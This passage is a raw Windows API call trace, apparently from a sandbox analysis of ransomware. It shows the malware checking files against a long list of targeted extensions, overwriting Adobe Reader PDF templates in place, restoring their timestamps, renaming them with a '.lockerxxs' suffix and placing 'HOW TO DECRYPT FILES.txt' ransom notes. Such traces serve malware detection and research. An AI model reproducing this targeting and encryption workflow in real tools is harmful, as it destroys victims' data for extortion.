10.0\\reader\\idtemplates\\fra\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0068.367] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x10ab0 [0068.367] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x950fa000, dwHighDateTime=0x1cb84b4), lpLastAccessTime=0x407536*(dwLowDateTime=0x805b4280, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0x950fa000, dwHighDateTime=0x1cb84b4)) returned 1 [0068.367] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0068.367] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x10a8a, lpOverlapped=0x0) returned 1 [0068.370] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf") returned="AdobeID.pdf" [0068.371] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0068.371] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x10a8a, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x10a8a, lpOverlapped=0x0) returned 1 [0068.371] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0068.371] CloseHandle (hObject=0x94) returned 1 [0068.384] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\fra\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\fra\\adobeid.pdf.lockerxxs")) returned 1 [0068.387] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10596, dwReserved0=0xec0003ef, dwReserved1=0x4e00c4, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 1 [0068.387] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0068.387] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DefaultID.pdf") returned 1 [0068.387] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DefaultID.pdf") returned 1 [0068.387] lstrcmpiA (lpString1="", lpString2="DefaultID.pdf") returned -1 [0068.387] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf") returned="AdobeID.pdf" [0068.387] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\" [0068.388] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\") returned="" [0068.388] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\HOW TO DECRYPT FILES.txt" [0068.388] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\fra\\how to decrypt files.txt")) returned 0x20 [0068.388] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\", lpString2="DefaultID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf" [0068.388] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.ems") returned 0 [0068.388] lstrlenA (lpString="*.ems") returned 5 [0068.388] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.db") returned 0 [0068.388] lstrlenA (lpString="*.db") returned 4 [0068.388] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.dbf") returned 0 [0068.388] lstrlenA (lpString="*.dbf") returned 5 [0068.388] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.myox") returned 0 [0068.388] lstrlenA (lpString="*.myox") returned 6 [0068.388] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.myo") returned 0 [0068.388] lstrlenA (lpString="*.myo") returned 5 [0068.388] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.qbw") returned 0 [0068.388] lstrlenA (lpString="*.qbw") returned 5 [0068.388] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.qbb") returned 0 [0068.388] lstrlenA (lpString="*.qbb") returned 5 [0068.388] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.qbm") returned 0 [0068.389] lstrlenA (lpString="*.qbm") returned 5 [0068.389] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.qbo") returned 0 [0068.389] lstrlenA (lpString="*.qbo") returned 5 [0068.389] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.qbx") returned 0 [0068.389] lstrlenA (lpString="*.qbx") returned 5 [0068.389] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.qba") returned 0 [0068.389] lstrlenA (lpString="*.qba") returned 5 [0068.389] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.qby") returned 0 [0068.389] lstrlenA (lpString="*.qby") returned 5 [0068.389] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.qbj") returned 0 [0068.389] lstrlenA (lpString="*.qbj") returned 5 [0068.389] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.ofx") returned 0 [0068.389] lstrlenA (lpString="*.ofx") returned 5 [0068.389] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.qif") returned 0 [0068.389] lstrlenA (lpString="*.qif") returned 5 [0068.389] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.mye") returned 0 [0068.389] lstrlenA (lpString="*.mye") returned 5 [0068.389] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.mbox") returned 0 [0068.389] lstrlenA (lpString="*.mbox") returned 6 [0068.389] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.eml") returned 0 [0068.389] lstrlenA (lpString="*.eml") returned 5 [0068.389] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.pst") returned 0 [0068.389] lstrlenA (lpString="*.pst") returned 5 [0068.389] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.ost") returned 0 [0068.389] lstrlenA (lpString="*.ost") returned 5 [0068.390] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.idx") returned 0 [0068.390] lstrlenA (lpString="*.idx") returned 5 [0068.390] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.dbx") returned 0 [0068.390] lstrlenA (lpString="*.dbx") returned 5 [0068.390] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.sql") returned 0 [0068.390] lstrlenA (lpString="*.sql") returned 5 [0068.390] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.mdb") returned 0 [0068.390] lstrlenA (lpString="*.mdb") returned 5 [0068.390] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.fdb") returned 0 [0068.390] lstrlenA (lpString="*.fdb") returned 5 [0068.390] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.wab") returned 0 [0068.390] lstrlenA (lpString="*.wab") returned 5 [0068.390] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.dat") returned 0 [0068.390] lstrlenA (lpString="*.dat") returned 5 [0068.390] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.txt") returned 0 [0068.390] lstrlenA (lpString="*.txt") returned 5 [0068.390] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.jpeg") returned 0 [0068.390] lstrlenA (lpString="*.jpeg") returned 6 [0068.390] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.jpg") returned 0 [0068.390] lstrlenA (lpString="*.jpg") returned 5 [0068.390] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.png") returned 0 [0068.390] lstrlenA (lpString="*.png") returned 5 [0068.390] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.php") returned 0 [0068.390] lstrlenA (lpString="*.php") returned 5 [0068.391] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.cs") returned 0 [0068.391] lstrlenA (lpString="*.cs") returned 4 [0068.391] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.cpp") returned 0 [0068.391] lstrlenA (lpString="*.cpp") returned 5 [0068.391] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.rar") returned 0 [0068.391] lstrlenA (lpString="*.rar") returned 5 [0068.391] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.zip") returned 0 [0068.391] lstrlenA (lpString="*.zip") returned 5 [0068.391] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.html") returned 0 [0068.391] lstrlenA (lpString="*.html") returned 6 [0068.391] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.htm") returned 0 [0068.391] lstrlenA (lpString="*.htm") returned 5 [0068.391] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.xlsx") returned 0 [0068.391] lstrlenA (lpString="*.xlsx") returned 6 [0068.391] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.xls") returned 0 [0068.391] lstrlenA (lpString="*.xls") returned 5 [0068.391] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.mp4") returned 0 [0068.391] lstrlenA (lpString="*.mp4") returned 5 [0068.391] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.ppt") returned 0 [0068.391] lstrlenA (lpString="*.ppt") returned 5 [0068.391] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.pptx") returned 0 [0068.391] lstrlenA (lpString="*.pptx") returned 6 [0068.391] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.doc") returned 0 [0068.392] lstrlenA (lpString="*.doc") returned 5 [0068.392] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.dot") returned 0 [0068.392] lstrlenA (lpString="*.dot") returned 5 [0068.392] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.docx") returned 0 [0068.392] lstrlenA (lpString="*.docx") returned 6 [0068.392] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.7z") returned 0 [0068.392] lstrlenA (lpString="*.7z") returned 4 [0068.392] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.tar") returned 0 [0068.392] lstrlenA (lpString="*.tar") returned 5 [0068.392] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.bz2") returned 0 [0068.392] lstrlenA (lpString="*.bz2") returned 5 [0068.392] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.gz") returned 0 [0068.392] lstrlenA (lpString="*.gz") returned 4 [0068.392] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.mkv") returned 0 [0068.392] lstrlenA (lpString="*.mkv") returned 5 [0068.392] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.eml") returned 0 [0068.392] lstrlenA (lpString="*.eml") returned 5 [0068.392] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.msg") returned 0 [0068.392] lstrlenA (lpString="*.msg") returned 5 [0068.392] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.edb") returned 0 [0068.392] lstrlenA (lpString="*.edb") returned 5 [0068.392] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.accdb") returned 0 [0068.392] lstrlenA (lpString="*.accdb") returned 7 [0068.392] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.odb") returned 0 [0068.393] lstrlenA (lpString="*.odb") returned 5 [0068.393] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.java") returned 0 [0068.393] lstrlenA (lpString="*.java") returned 6 [0068.393] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.asm") returned 0 [0068.393] lstrlenA (lpString="*.asm") returned 5 [0068.393] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.pfx") returned 0 [0068.393] lstrlenA (lpString="*.pfx") returned 5 [0068.393] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.pem") returned 0 [0068.393] lstrlenA (lpString="*.pem") returned 5 [0068.393] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.p12") returned 0 [0068.393] lstrlenA (lpString="*.p12") returned 5 [0068.393] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.gpg") returned 0 [0068.393] lstrlenA (lpString="*.gpg") returned 5 [0068.393] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.vsd") returned 0 [0068.393] lstrlenA (lpString="*.vsd") returned 5 [0068.393] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.odg") returned 0 [0068.393] lstrlenA (lpString="*.odg") returned 5 [0068.393] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.raw") returned 0 [0068.393] lstrlenA (lpString="*.raw") returned 5 [0068.393] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.nef") returned 0 [0068.393] lstrlenA (lpString="*.nef") returned 5 [0068.393] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.svg") returned 0 [0068.393] lstrlenA (lpString="*.svg") returned 5 [0068.393] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.psd") returned 0 [0068.394] lstrlenA (lpString="*.psd") returned 5 [0068.394] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.vmx") returned 0 [0068.394] lstrlenA (lpString="*.vmx") returned 5 [0068.394] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.vmdk") returned 0 [0068.394] lstrlenA (lpString="*.vmdk") returned 6 [0068.394] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.vdi") returned 0 [0068.394] lstrlenA (lpString="*.vdi") returned 5 [0068.394] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.lay6") returned 0 [0068.394] lstrlenA (lpString="*.lay6") returned 6 [0068.394] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.mpeg") returned 0 [0068.394] lstrlenA (lpString="*.mpeg") returned 6 [0068.394] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.djvu") returned 0 [0068.394] lstrlenA (lpString="*.djvu") returned 6 [0068.394] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.tiff") returned 0 [0068.394] lstrlenA (lpString="*.tiff") returned 6 [0068.394] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.backup") returned 0 [0068.394] lstrlenA (lpString="*.backup") returned 8 [0068.394] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", pszSpec="*.pdf") returned 1 [0068.394] lstrlenA (lpString="*.pdf") returned 5 [0068.394] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf" [0068.394] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf" [0068.394] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf.") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf." [0068.395] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf.lockerxxs") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf.lockerxxs" [0068.395] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\fra\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0068.395] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x10596 [0068.395] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x950fa000, dwHighDateTime=0x1cb84b4), lpLastAccessTime=0x407536*(dwLowDateTime=0x805b4280, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0x950fa000, dwHighDateTime=0x1cb84b4)) returned 1 [0068.395] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0068.396] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x10570, lpOverlapped=0x0) returned 1 [0068.399] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf") returned="DefaultID.pdf" [0068.399] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0068.399] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x10570, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x10570, lpOverlapped=0x0) returned 1 [0068.400] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0068.400] CloseHandle (hObject=0x94) returned 1 [0068.415] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\fra\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\fra\\defaultid.pdf.lockerxxs")) returned 1 [0068.417] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10596, dwReserved0=0xec0003ef, dwReserved1=0x4e00c4, cFileName="DefaultID.pdf", 